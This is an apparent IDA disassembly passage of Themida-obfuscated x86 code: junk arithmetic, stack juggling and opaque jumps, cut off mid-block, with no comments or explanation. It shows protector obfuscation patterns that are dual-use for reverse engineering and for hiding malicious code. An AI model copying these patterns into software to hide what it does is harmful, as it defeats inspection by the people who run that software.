loc_56BF0A:				; CODE XREF: sub_562ABA-1D86j
		xor	[esp-6+arg_0+2], esi
		jmp	loc_562230
; ---------------------------------------------------------------------------


loc_56BF12:				; CODE XREF: sub_562ABA-2325j
		or	ah, 0FCh
		shr	ah, 4
		add	ah, 0FFh
		xor	ah, 0CBh
		and	ch, ah
		pop	eax
		shl	ch, 8
		dec	ch
		add	ch, 0C0h
		xor	al, ch
		mov	cx, word ptr [esp+36h+var_36]
		push	ebx
		jmp	loc_56CD01
; ---------------------------------------------------------------------------


loc_56BF35:				; CODE XREF: sub_562ABA-35E9j
		mov	ebp, 5B1D70CBh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_565ECE
; ---------------------------------------------------------------------------


loc_56BF4B:				; CODE XREF: sub_562ABA+430Ej
		add	dh, 0EBh
		xor	dh, 99h
		jmp	loc_566197
; ---------------------------------------------------------------------------


loc_56BF56:				; CODE XREF: sub_55FCA5+338j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+22h+var_22]
		pop	esp
		jmp	loc_56E582
; ---------------------------------------------------------------------------


loc_56BF6E:				; CODE XREF: sub_562ABA+8E91j
		mov	[esp+10h+var_12+2], edx
		mov	edx, 4
		jmp	loc_56A22C
; ---------------------------------------------------------------------------


loc_56BF7B:				; CODE XREF: sub_562ABA+F8EAj
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		jmp	loc_55FBE4
; ---------------------------------------------------------------------------


loc_56BF89:				; CODE XREF: Themida_:0055F3D2j
		push	711Ah
		jmp	loc_5624C2
; ---------------------------------------------------------------------------


loc_56BF93:				; CODE XREF: sub_562ABA+7400j
		add	eax, 14DF0493h
		push	[esp-0Eh+arg_8+2]
		pop	esi
		add	esp, 4
		sub	ebp, eax
		pop	eax
		jmp	loc_56A108
; ---------------------------------------------------------------------------


loc_56BFAA:				; CODE XREF: sub_562ABA+1E5Bj
		push	eax
		push	ecx
		mov	ecx, 76B5633Bh
		mov	eax, ecx
		pop	ecx
		and	eax, 37A12354h
		xor	eax, 5BD17CDEh
		add	ecx, 67EC265Bh
		add	ecx, eax
		sub	ecx, 67EC265Bh
		jmp	loc_56CCD2
; ---------------------------------------------------------------------------


loc_56BFD1:				; CODE XREF: sub_562ABA-3D62j
		pop	eax
		sub	esp, 4
		mov	[esp+1Ah+var_1A], edi
		push	[esp+1Ah+var_16]
		jmp	loc_56C5D5
; ---------------------------------------------------------------------------


loc_56BFE1:				; CODE XREF: Themida_:0055F1F0j
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp+22h+var_22]
		jmp	loc_56D2F3
; ---------------------------------------------------------------------------


loc_56BFF1:				; CODE XREF: sub_562ABA-458Ej
		mov	ecx, 66E717Ch
		push	edx
		mov	edx, 76171464h
		xor	edx, 6EB70BA1h
		jmp	loc_5659BB
; ---------------------------------------------------------------------------


loc_56C007:				; CODE XREF: sub_562ABA+8F24j
		add	edi, 4
		sub	edi, 4
		jmp	loc_571B4E
; ---------------------------------------------------------------------------


loc_56C018:				; CODE XREF: sub_562ABA+DFD7j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56C01D:				; CODE XREF: sub_562ABA+CDD7j
		push	esi
		jmp	loc_56F195
; ---------------------------------------------------------------------------


loc_56C023:				; CODE XREF: sub_562ABA+49B5j
		push	ebx
		jmp	loc_566F9C
; ---------------------------------------------------------------------------


loc_56C029:				; CODE XREF: sub_562ABA+1866j
		push	esi
		push	edi
		push	60F86655h
		pop	edi
		add	edi, 0DF5BD85h
		jmp	loc_56E4EA
; ---------------------------------------------------------------------------


loc_56C03C:				; CODE XREF: sub_562ABA+62D4j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56B2FC
; ---------------------------------------------------------------------------


loc_56C04F:				; CODE XREF: sub_562ABA+EF6Bj
		mov	esi, 0FEB41A4h
		xor	edx, esi
		jmp	loc_56073C
; ---------------------------------------------------------------------------


loc_56C05B:				; CODE XREF: sub_562ABA+BED9j
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+1Ah+var_16]
		jmp	loc_55F89A
; ---------------------------------------------------------------------------


loc_56C074:				; CODE XREF: sub_562ABA+111Cj
		sub	eax, 969DA2B0h
		sub	edx, eax
		jmp	loc_5634E6
; ---------------------------------------------------------------------------


loc_56C080:				; CODE XREF: sub_562ABA+8010j
		add	ecx, esi
		jmp	loc_56EB7D
; ---------------------------------------------------------------------------


loc_56C087:				; CODE XREF: sub_562ABA+EF3Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+16h+var_16]
		pop	esp
		pop	[esp+12h+var_12]
		mov	esp, [esp+0]
		shl	byte ptr [esp+0], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56C0A2:				; CODE XREF: sub_562ABA+FBBDj
		pop	edi
		jmp	loc_56E501
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp+12h+var_12]
		jmp	loc_56B0FE
; ---------------------------------------------------------------------------


loc_56C0B3:				; CODE XREF: sub_562ABA+F58Bj
		add	ebp, 22BD6928h
		sub	ebp, 783F303Ch
		pop	esi
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		btr	[esp+0], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56C0D1:				; CODE XREF: sub_562ABA-4A08j
		mov	al, 0BDh
		add	al, 1
		push	bx
		mov	bl, 6Ch
		sub	al, bl
		pop	bx
		neg	al
		jmp	loc_55EC65
; ---------------------------------------------------------------------------


loc_56C0E4:				; CODE XREF: sub_562ABA+14BEj
		mov	al, cl
		jmp	loc_56356F
; ---------------------------------------------------------------------------


loc_56C0EB:				; CODE XREF: sub_562ABA+CE95j
		push	edx
		mov	edx, 4
		add	[esp+2Eh+var_2C+2], edx
		pop	edx
		push	[esp+2Ah+var_2C+2]
		push	dword ptr [esp+0]
		pop	esi
		jmp	loc_56D1C3
; ---------------------------------------------------------------------------


loc_56C102:				; CODE XREF: sub_562ABA+2392j
		mov	ecx, 346F3849h
		push	esi
		mov	esi, 2542660h
		inc	esi
		inc	esi
		add	esi, 0DB641FF3h
		add	ecx, esi
		pop	esi
		add	eax, ecx
		pop	ecx
		pop	ebp
		jmp	$+5
		add	eax, ebp
		sub	eax, 17890026h
		sub	eax, 31EE3177h
		push	[esp+22h+var_22]
		mov	ebp, [esp+26h+var_28+2]
		add	esp, 4
		push	eax
		jmp	loc_56E9F0
; ---------------------------------------------------------------------------


loc_56C13F:				; CODE XREF: sub_562ABA+4888j
		add	ecx, ebp
		mov	ebp, [esp+32h+var_32]
		jmp	loc_56FBB3
; ---------------------------------------------------------------------------


loc_56C149:				; CODE XREF: sub_562ABA+6DC0j
		mov	eax, 6BAE2969h
		inc	eax
		not	eax
		push	ebp
		mov	ebp, 2D5B5A8Ah
		not	ebp
		not	ebp
		not	ebp
		add	ebp, 7C236426h
		sub	eax, ebp
		pop	ebp
		add	eax, 0E62C76EEh
		xor	ebp, eax
		pop	eax
		push	edi
		jmp	loc_5708C1
; ---------------------------------------------------------------------------


loc_56C174:				; CODE XREF: sub_562ABA+9978j
		mov	esi, 203E0D1Ah
		sub	esp, 4
		jmp	loc_561BB8
; ---------------------------------------------------------------------------


loc_56C181:				; CODE XREF: sub_562ABA-1E9Aj
		push	ecx
		mov	ecx, esp
		jmp	loc_56B998
; ---------------------------------------------------------------------------


loc_56C189:				; CODE XREF: sub_562ABA+79DFj
		pop	eax
		pop	[esp+32h+var_32]
		pop	esp
		push	2D66h
		mov	[esp+0], ebx
		push	50A2h
		mov	[esp+32h+var_32], edx
		mov	edx, 3B296C2Dh
		jmp	loc_5652E9
; ---------------------------------------------------------------------------


loc_56C1A8:				; CODE XREF: sub_562ABA+52C9j
		sub	esi, 54411E94h
		sub	esi, 7A196FAAh
		add	esi, eax
		add	esi, 7A196FAAh
		add	esi, 54411E94h
		push	[esp+2+var_4+2]
		pop	eax
		add	esp, 4
		sub	esi, 456245h
		jmp	loc_56372F
; ---------------------------------------------------------------------------


loc_56C1D7:				; CODE XREF: sub_562ABA+A3AAj
		sub	al, dl
		pop	edx
		sub	esp, 2
		mov	[esp+0], bx
		push	eax
		jmp	loc_56598C
; ---------------------------------------------------------------------------


loc_56C1EA:				; CODE XREF: sub_562ABA+ACFFj
		mov	esp, [esp+2+var_4+2]
		xor	eax, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], eax
		xor	eax, [esp+2+var_4+2]
		jmp	loc_572480
; ---------------------------------------------------------------------------


loc_56C1FB:				; CODE XREF: sub_562ABA+DC27j
		xor	[esp+2+var_4+2], esi
		jmp	loc_56877C
; ---------------------------------------------------------------------------


loc_56C203:				; CODE XREF: sub_562ABA+288Aj
		mov	ah, 9Eh
		sub	bl, ah
		mov	eax, [esp+1Eh+var_1E]
		jmp	loc_56C504
; ---------------------------------------------------------------------------


loc_56C20F:				; CODE XREF: sub_562ABA+F0EAj
		mov	[esp+1Eh+var_1E], esi
		mov	esi, 35A7304Bh
		push	ebx
		jmp	loc_565C69
; ---------------------------------------------------------------------------


loc_56C21D:				; CODE XREF: sub_562ABA+801Ej
		sub	bh, ah
		push	edx
		mov	dl, 72h
		xor	dl, 0A3h
		add	dl, 0F3h
		add	bh, dl
		jmp	loc_562EF9
; ---------------------------------------------------------------------------


loc_56C22F:				; CODE XREF: Themida_:0056085Aj
		pop	[esp+16h+var_16]
		push	esi
		mov	esi, 4
		add	[esp+16h+var_12], esi
		jmp	loc_563DEC
; ---------------------------------------------------------------------------


loc_56C241:				; CODE XREF: sub_562ABA+B93Bj
		mov	[esp+16h+var_16], esi
		mov	esi, 6A640077h
		add	esi, 1
		push	eax
		jmp	loc_5636F1
; ---------------------------------------------------------------------------


loc_56C255:				; CODE XREF: sub_562ABA+3B1Cj
		push	edi
		mov	edi, esp
		jmp	loc_56AC04
; ---------------------------------------------------------------------------


loc_56C25D:				; CODE XREF: sub_562ABA-637j
		mov	ebx, 79464184h
		sub	eax, ebx
		jmp	loc_571C04
; ---------------------------------------------------------------------------


loc_56C269:				; CODE XREF: sub_562ABA+5EE0j
		push	646119FAh
		pop	ecx
		jmp	loc_5725F2
; ---------------------------------------------------------------------------


loc_56C274:				; CODE XREF: sub_562ABA+3293j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], eax
		jmp	loc_560BFF
; ---------------------------------------------------------------------------


loc_56C28F:				; CODE XREF: sub_562ABA+BE9j
		add	ecx, edi
		mov	edi, [esp-0Eh+arg_8+2]
		add	esp, 4
		jmp	loc_5621C4
; ---------------------------------------------------------------------------


loc_56C29F:				; CODE XREF: sub_562ABA+FB67j
		mov	[esp-12h+arg_C+2], eax
		jmp	loc_56930C
; ---------------------------------------------------------------------------


loc_56C2A7:				; CODE XREF: sub_562ABA+5C1Fj
		push	edi
		push	[esp+2Ah+var_28+2]
		pop	edi
		jmp	loc_563202
; ---------------------------------------------------------------------------


loc_56C2B2:				; CODE XREF: sub_562ABA+3C0Dj
		add	ebx, edx
		add	ebx, 4A265491h
		pop	edx
		push	ebp
		mov	ebp, 6ACE6E14h
		and	ebp, 68950355h
		not	ebp
		and	ebp, 5877241Eh
		sub	ebp, 0A4FCF82Dh
		jmp	loc_56F5EB
; ---------------------------------------------------------------------------


loc_56C2DA:				; CODE XREF: sub_562ABA+73DCj
		add	ecx, ebp
		pop	ebp
		add	esi, ecx
		mov	ecx, [esp-1Ah+arg_14+2]
		sub	esp, 4
		mov	[esp-16h+arg_10+2], edi
		mov	edi, esp
		jmp	loc_56A852
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-16h+arg_10+2]
		push	542Bh
		jmp	loc_56911B
; ---------------------------------------------------------------------------


loc_56C2FD:				; CODE XREF: sub_562ABA+5BBEj
		mov	[esp+8+var_8], ebx
		mov	ebx, edx
		mov	eax, ebx
		pop	ebx
		push	[esp+4+var_4]
		pop	edx
		push	edi
		push	esp
		pop	edi
		push	588Ch
		jmp	loc_56797C
; ---------------------------------------------------------------------------


loc_56C316:				; CODE XREF: sub_562ABA+6043j
		push	[esp+1Eh+var_1E]
		pop	eax
		add	esp, 4
		push	37FBh
		mov	[esp+1Eh+var_1E], edx
		push	esp
		mov	edx, [esp+22h+var_22]
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_5649B9
; ---------------------------------------------------------------------------


loc_56C33A:				; CODE XREF: sub_562ABA+9945j
		xchg	ecx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		mov	[esp+22h+var_22], esi
		push	5D3h
		mov	[esp+26h+var_28+2], edx
		push	ecx
		mov	ecx, 7AFC1C4Eh
		sub	esp, 4
		jmp	loc_565F99
; ---------------------------------------------------------------------------


loc_56C35C:				; CODE XREF: sub_562ABA+D22Bj
		xor	cl, 23h
		jmp	loc_570DD2
; ---------------------------------------------------------------------------


loc_56C364:				; CODE XREF: sub_562ABA+55A6j
		xor	edx, [esp+46h+var_46]
		xor	[esp+46h+var_46], edx
		xor	edx, [esp+46h+var_46]
		jmp	loc_56A606
; ---------------------------------------------------------------------------


loc_56C372:				; CODE XREF: sub_562ABA-382Bj
		xor	esi, 68E03C4Ah
		add	ebx, 6B4E2413h
		add	ebx, esi
		jmp	loc_56C8D1
; ---------------------------------------------------------------------------


loc_56C385:				; CODE XREF: sub_562ABA+43F0j
		pop	edx
		push	ecx
		push	ebx
		mov	ebx, 3D101937h
		jmp	loc_56DAD2
; ---------------------------------------------------------------------------


loc_56C392:				; CODE XREF: sub_562ABA+9C5Dj
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_56CF30
; ---------------------------------------------------------------------------


loc_56C39B:				; CODE XREF: sub_562ABA+4C7Dj
		push	[esp+3Ah+var_3A]
		mov	edx, [esp+3Eh+var_3E]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp+42h+var_42], esp
		add	[esp+42h+var_42], 4
		pop	edi
		jmp	sub_572591
; ---------------------------------------------------------------------------


loc_56C3BE:				; CODE XREF: sub_562ABA+2742j
		pop	ebx
		sub	eax, 6D415DB2h
		jmp	loc_55F806
; ---------------------------------------------------------------------------


loc_56C3C9:				; CODE XREF: sub_562ABA+B2C7j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_57108B
; ---------------------------------------------------------------------------


loc_56C3D6:				; CODE XREF: sub_562ABA+791Aj
		mov	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	ecx, ebx
		jmp	loc_55E212
; ---------------------------------------------------------------------------


loc_56C3E6:				; CODE XREF: sub_562ABA+A28Ej
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_560D94
; ---------------------------------------------------------------------------


loc_56C3F5:				; CODE XREF: sub_562ABA+885Aj
		pop	ebx
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		jmp	loc_56C33A
; ---------------------------------------------------------------------------


loc_56C404:				; CODE XREF: sub_562ABA+22EEj
		mov	[esp+42h+var_42], eax
		sub	esp, 4
		mov	[esp+46h+var_46], ebx
		push	1C760C2Fh
		push	[esp+4Ah+var_4A]
		jmp	loc_56B9BE
; ---------------------------------------------------------------------------


loc_56C41D:				; CODE XREF: sub_562ABA+FE33j
		pop	esp
		jmp	loc_56FE53
; ---------------------------------------------------------------------------


loc_56C423:				; CODE XREF: sub_562ABA+5EAAj
		add	ebp, 4
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_56C174
; ---------------------------------------------------------------------------


loc_56C437:				; CODE XREF: sub_562ABA+D127j
		mov	[esp+0], edi
		mov	edi, edx
		push	edi
		jmp	loc_570E4B
; ---------------------------------------------------------------------------


loc_56C442:				; CODE XREF: sub_562ABA+1CAEj
		pop	esi
		jmp	loc_56D73F
; ---------------------------------------------------------------------------


loc_56C448:				; CODE XREF: sub_562ABA+5B8Dj
		pop	eax
		pop	[esp+8+var_8]
		push	edx
		push	683Fh
		mov	[esp+0Ch+var_C], edi
		mov	edi, 36324FC6h
		jmp	loc_56E44B
; ---------------------------------------------------------------------------


loc_56C45F:				; CODE XREF: sub_562ABA+36A1j
		add	ecx, esi
		sub	ecx, 598A25A1h
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp+1Ah+var_1A]
		pop	esp
		jmp	loc_56864C
; ---------------------------------------------------------------------------


loc_56C474:				; CODE XREF: sub_562ABA+2D3Ej
		mov	edx, ebx
		pop	ebx
		jmp	loc_571D6D
; ---------------------------------------------------------------------------


loc_56C47C:				; CODE XREF: sub_562ABA+C0B4j
		pop	esp
		and	word ptr [esp+1Ah+var_1A], ax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56C487:				; CODE XREF: sub_562ABA+CE27j
		push	ebx
		mov	bl, 8
		jmp	loc_566761
; ---------------------------------------------------------------------------


loc_56C48F:				; CODE XREF: sub_562ABA-76Bj
		sub	ebp, eax
		pop	eax
		jmp	loc_569F57
; ---------------------------------------------------------------------------


loc_56C497:				; CODE XREF: sub_562ABA+F98Bj
		mov	ebp, 6D352F4Eh
		inc	ebp
		inc	ebp
		shl	ebp, 2
		add	ebp, 1
		jmp	loc_5688E4
; ---------------------------------------------------------------------------


loc_56C4A9:				; CODE XREF: sub_562ABA+856Ej
		push	5FF3h
		mov	[esp+5Ah+var_5A], eax
		push	ebp
		push	ecx
		mov	ecx, 69C05190h
		jmp	loc_567481
; ---------------------------------------------------------------------------


loc_56C4BD:				; CODE XREF: sub_562ABA+85C5j
		add	esp, 4
		pop	eax
		add	edi, edx
		jmp	loc_568355
; ---------------------------------------------------------------------------


loc_56C4C8:				; CODE XREF: sub_562ABA+EF06j
		xor	ebp, 2D5A2A12h
		xor	esi, ebp
		jmp	loc_56164E
; ---------------------------------------------------------------------------


loc_56C4D5:				; CODE XREF: sub_562ABA+BB97j
		not	edi
		not	edi
		add	edi, 75E8199Fh
		sub	edi, 0F239675Ch
		xor	esi, edi
		jmp	loc_56FC69
; ---------------------------------------------------------------------------


loc_56C4EC:				; CODE XREF: sub_562ABA+A2D3j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_561E06
; ---------------------------------------------------------------------------


loc_56C4F9:				; CODE XREF: sub_562ABA+4816j
		add	ebp, 4
		jmp	loc_56839E
; ---------------------------------------------------------------------------


loc_56C504:				; CODE XREF: sub_562ABA+9750j
		add	esp, 4
		add	bl, al
		sub	esp, 4
		mov	[esp+1Eh+var_1E], ecx
		mov	cl, 69h
		push	eax
		jmp	loc_572861
; ---------------------------------------------------------------------------


loc_56C517:				; CODE XREF: sub_562ABA+BF79j
		mov	edi, [esp+22h+var_22]
		push	ebx
		jmp	loc_565DC0
; ---------------------------------------------------------------------------


loc_56C520:				; CODE XREF: sub_562ABA+A3B4j
		push	ecx
		jmp	loc_5699CC
; ---------------------------------------------------------------------------


loc_56C526:				; CODE XREF: sub_562ABA+CB3Aj
		add	ecx, 5D5707EBh
		sub	ecx, 4E2ECA87h
		add	ecx, 1
		push	edi
		mov	edi, 0D88F143Eh
		sub	ecx, edi
		pop	edi
		or	ebx, ecx
		pop	ecx
		sub	ebx, 0E92F7FE5h
		add	ebp, 4E514D95h
		add	ebp, ebx
		sub	ebp, 4E514D95h
		pop	ebx
		jmp	sub_56019B
; ---------------------------------------------------------------------------


loc_56C55B:				; CODE XREF: sub_562ABA-42B6j
		xchg	esi, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		mov	[esp+16h+var_16], edx
		mov	edx, 1
		mov	ebx, edx
		push	[esp+16h+var_16]
		pop	edx
		add	esp, 4
		add	eax, 67542ED0h
		sub	eax, ebx
		sub	eax, 67542ED0h
		push	[esp+12h+var_12]
		jmp	loc_5628A3
; ---------------------------------------------------------------------------


loc_56C589:				; CODE XREF: sub_562ABA+C3ABj
		add	al, bh
		mov	bx, word ptr [esp+16h+var_16]
		add	esp, 2
		mov	ecx, [esp+12h+var_12]
		jmp	loc_5705D5
; ---------------------------------------------------------------------------


loc_56C59D:				; CODE XREF: sub_562ABA-A6Dj
		xchg	edi, [esp+0]
		pop	esp
		push	ebp
		mov	ebp, 35336A29h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, esi
		add	ebx, 35336A29h
		pop	esi
		add	ebx, 5F7927B8h
		add	ebx, eax
		jmp	loc_560AE7
; ---------------------------------------------------------------------------


loc_56C5C0:				; CODE XREF: sub_562ABA+36C5j
		mov	ebp, 73C102D3h
		shr	ebp, 3
		not	ebp
		sub	ebp, 230FE3h
		jmp	loc_561641
; ---------------------------------------------------------------------------


loc_56C5D5:				; CODE XREF: sub_562ABA+9522j
		pop	edi
		jmp	loc_56F153
; ---------------------------------------------------------------------------


loc_56C5DB:				; CODE XREF: sub_562ABA+74D6j
		add	ch, bl
		jmp	loc_563A61
; ---------------------------------------------------------------------------


loc_56C5E2:				; CODE XREF: sub_562ABA-43FDj
		mov	edx, 26B21328h
		mov	esi, 0DBE732ACh
		jmp	loc_56CC4B
; ---------------------------------------------------------------------------


loc_56C5F1:				; CODE XREF: sub_562ABA+1A6Aj
		xor	ecx, edx
		pop	edx
		push	edi
		mov	edi, 1266132Ah
		jmp	loc_5721B0
; ---------------------------------------------------------------------------


loc_56C5FF:				; CODE XREF: sub_562ABA-8Ej
		add	eax, 0C296BB2h
		push	esi
		mov	esi, 66CB7CACh
		add	eax, esi
		pop	esi
		pop	ecx
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, 4
		add	eax, 7305A19h
		add	eax, ebx
		sub	eax, 7305A19h
		mov	ebx, [esp+26h+var_28+2]
		add	esp, 4
		xchg	eax, [esp+22h+var_22]
		pop	esp
		sub	esi, 4
		xor	esi, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], esi
		xor	esi, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], eax
		pop	eax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56C64A:				; CODE XREF: sub_562ABA+2BADj
		sub	edi, 0FFFFFFFFh
		shl	edi, 8
		jmp	loc_566A8E
; ---------------------------------------------------------------------------


loc_56C655:				; CODE XREF: sub_562ABA+D7FBj
		mov	esp, [esp+48h+var_4A+2]
		mov	[esp+48h+var_4A+2], esp
		add	[esp+48h+var_4A+2], 4
		mov	ebp, [esp+48h+var_4A+2]
		push	13C7h
		mov	[esp+4Ch+var_4E+2], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+50h+var_52+2], eax
		mov	eax, 7AC45514h
		xor	eax, 55273EC0h
		or	eax, 13F229C1h
		jmp	loc_561AA6
; ---------------------------------------------------------------------------


loc_56C68F:				; CODE XREF: sub_562ABA+D39Cj
		mov	eax, 430336FEh
		push	677Dh
		mov	[esp+54h+var_56+2], edi
		mov	edi, 60B67C91h
		or	eax, edi
		pop	edi
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		dec	edi
		xchg	eax, edi
		add	eax, 9C488106h
		add	edx, 79587C9Dh
		add	edx, 6C594788h
		add	edx, eax
		jmp	loc_564685
; ---------------------------------------------------------------------------


loc_56C6C4:				; CODE XREF: sub_562ABA+9E9Bj
		mov	[esp+50h+var_52+2], edx
		push	edx
		jmp	loc_569630
; ---------------------------------------------------------------------------


loc_56C6CD:				; CODE XREF: sub_562ABA-E98j
		pop	edi
		push	ebp
		jmp	loc_567289
; ---------------------------------------------------------------------------


loc_56C6D4:				; CODE XREF: sub_562ABA+19BEj
		pop	eax
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_56A510
; ---------------------------------------------------------------------------


loc_56C6ED:				; CODE XREF: sub_562ABA-269Aj
		add	eax, esi
		pop	esi
		push	edx
		mov	edx, 73DA3FCFh
		xor	edx, 16008BBh
		add	edx, 9585E401h
		jmp	loc_562C52
; ---------------------------------------------------------------------------


loc_56C707:				; CODE XREF: sub_562ABA+E5B2j
		mov	[esp+8+var_8], esi
		jmp	loc_56DDC0
; ---------------------------------------------------------------------------


loc_56C70F:				; CODE XREF: sub_562ABA+6A5Aj
		push	ebp
		mov	ebp, 0CED0ADF9h
		xor	ebx, ebp
		jmp	loc_56C392
; ---------------------------------------------------------------------------
		sub	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_560F6C
; ---------------------------------------------------------------------------


loc_56C727:				; CODE XREF: sub_562ABA+E5j
		push	ecx
		jmp	loc_570A54
; ---------------------------------------------------------------------------


loc_56C72D:				; CODE XREF: sub_562ABA+7275j
		add	esp, 4
		shl	eax, 8
		jmp	loc_562BE0
; ---------------------------------------------------------------------------


loc_56C73B:				; CODE XREF: sub_562ABA+B4A7j
		xchg	edx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		jmp	loc_562A40
; ---------------------------------------------------------------------------


loc_56C746:				; CODE XREF: sub_562ABA+CB01j
		mov	si, word ptr [esp+26h+var_28+2]
		add	esp, 2
		push	small 3428h
		mov	[esp+0], si
		push	eax
		mov	ax, 1E3Bh
		jmp	loc_56A884
; ---------------------------------------------------------------------------


loc_56C75F:				; CODE XREF: sub_562ABA+E9CBj
		mov	[esp+28h+var_28], ecx
		push	ebx
		push	eax
		jmp	loc_56CFF4
; ---------------------------------------------------------------------------


loc_56C769:				; CODE XREF: sub_562ABA+417Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		push	edi
		mov	edi, 59964883h
		add	edi, 12C626C9h
		neg	edi
		shl	edi, 1
		push	esi
		mov	esi, 27472164h
		sub	edi, esi
		jmp	loc_572AC7
; ---------------------------------------------------------------------------


loc_56C796:				; CODE XREF: sub_562ABA-471Cj
		push	ebx
		mov	ebx, 1F7472B8h
		push	ebx
		push	76CF538Bh
		pop	ebx
		inc	ebx
		shl	ebx, 1
		xor	ebx, 0EC739EA5h
		jmp	loc_560F8D
; ---------------------------------------------------------------------------


loc_56C7B1:				; CODE XREF: sub_562ABA+7377j
		add	dword ptr [esp+0], 4
		pop	eax
		jmp	loc_560920
; ---------------------------------------------------------------------------


loc_56C7BB:				; CODE XREF: sub_562ABA+C60j
		push	eax
		not	[esp+52h+var_52]
		mov	eax, [esp+52h+var_52]
		jmp	loc_567583
; ---------------------------------------------------------------------------


loc_56C7C7:				; CODE XREF: sub_562ABA+4F14j
		push	ebx
		jmp	loc_56A27D
; ---------------------------------------------------------------------------


loc_56C7CD:				; CODE XREF: sub_55EEB7+9j
		xor	eax, 63956AE3h
		mov	ebp, [esp+0]
		add	esp, 4
		xchg	eax, ebp
		jmp	loc_563302
; ---------------------------------------------------------------------------


loc_56C7DE:				; CODE XREF: sub_562ABA-373Aj
		add	[esp+1Eh+var_1E], 4
		jmp	loc_55E99B
; ---------------------------------------------------------------------------


loc_56C7EA:				; CODE XREF: sub_562ABA+2DD4j
		xor	eax, 67E76BBFh
		and	[edi+1Ch], eax
		push	[esp-0Ch+arg_8]
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_57280E
; ---------------------------------------------------------------------------


loc_56C800:				; CODE XREF: sub_562ABA-2875j
		push	esi
		push	[esp-2+arg_0+2]
		pop	esi
		pop	dword ptr [esp+0]
		mov	esp, [esp-6+arg_0+2]
		imul	ecx
		push	4D88h
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_55FABB
; ---------------------------------------------------------------------------


loc_56C81D:				; CODE XREF: sub_562ABA+BBB9j
		sub	edi, 62514A9Fh
		add	edi, ebp
		push	esi
		mov	esi, 62514A9Fh
		add	edi, esi
		pop	esi
		sub	edi, 7D676986h
		mov	ebp, [esp+6+var_8+2]
		jmp	loc_56849C
; ---------------------------------------------------------------------------


loc_56C83C:				; CODE XREF: sub_562ABA+31BEj
		push	ebp
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		push	1F542F75h
		mov	edi, [esp+0]
		jmp	loc_567F98
; ---------------------------------------------------------------------------


loc_56C850:				; CODE XREF: sub_562ABA+A48Cj
		pop	ecx
		push	ebx
		mov	ebx, 290D73B0h
		not	ebx
		add	ebx, 1A5A6874h
		push	eax
		mov	eax, 33C70763h
		jmp	loc_55EC1B
; ---------------------------------------------------------------------------


loc_56C86A:				; CODE XREF: sub_562ABA+FA34j
		mov	ebp, 740183Ah
		push	ecx
		mov	ecx, 156E5A3Dh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5671C6
; ---------------------------------------------------------------------------


loc_56C87D:				; CODE XREF: sub_562ABA-C1Ej
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		jmp	loc_560568
; ---------------------------------------------------------------------------


loc_56C88B:				; CODE XREF: sub_562ABA+648Ej
		xor	eax, edx
		xor	edx, eax
		jmp	loc_567CF4
; ---------------------------------------------------------------------------


loc_56C894:				; CODE XREF: sub_562ABA+B158j
		mov	edi, 30621FD5h
		or	edi, 1C8D4DF2h
		shl	edi, 6
		inc	edi
		inc	edi
		push	esi
		jmp	loc_571071
; ---------------------------------------------------------------------------


loc_56C8AA:				; CODE XREF: sub_562ABA+ECA2j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+32h+var_32]
		jmp	loc_56C920
; ---------------------------------------------------------------------------


loc_56C8BE:				; CODE XREF: sub_562ABA-2E1Aj
		sub	ebx, 7A956144h
		jmp	loc_566BC3
; ---------------------------------------------------------------------------


loc_56C8C9:				; CODE XREF: sub_562ABA+9195j
		add	ebx, 2
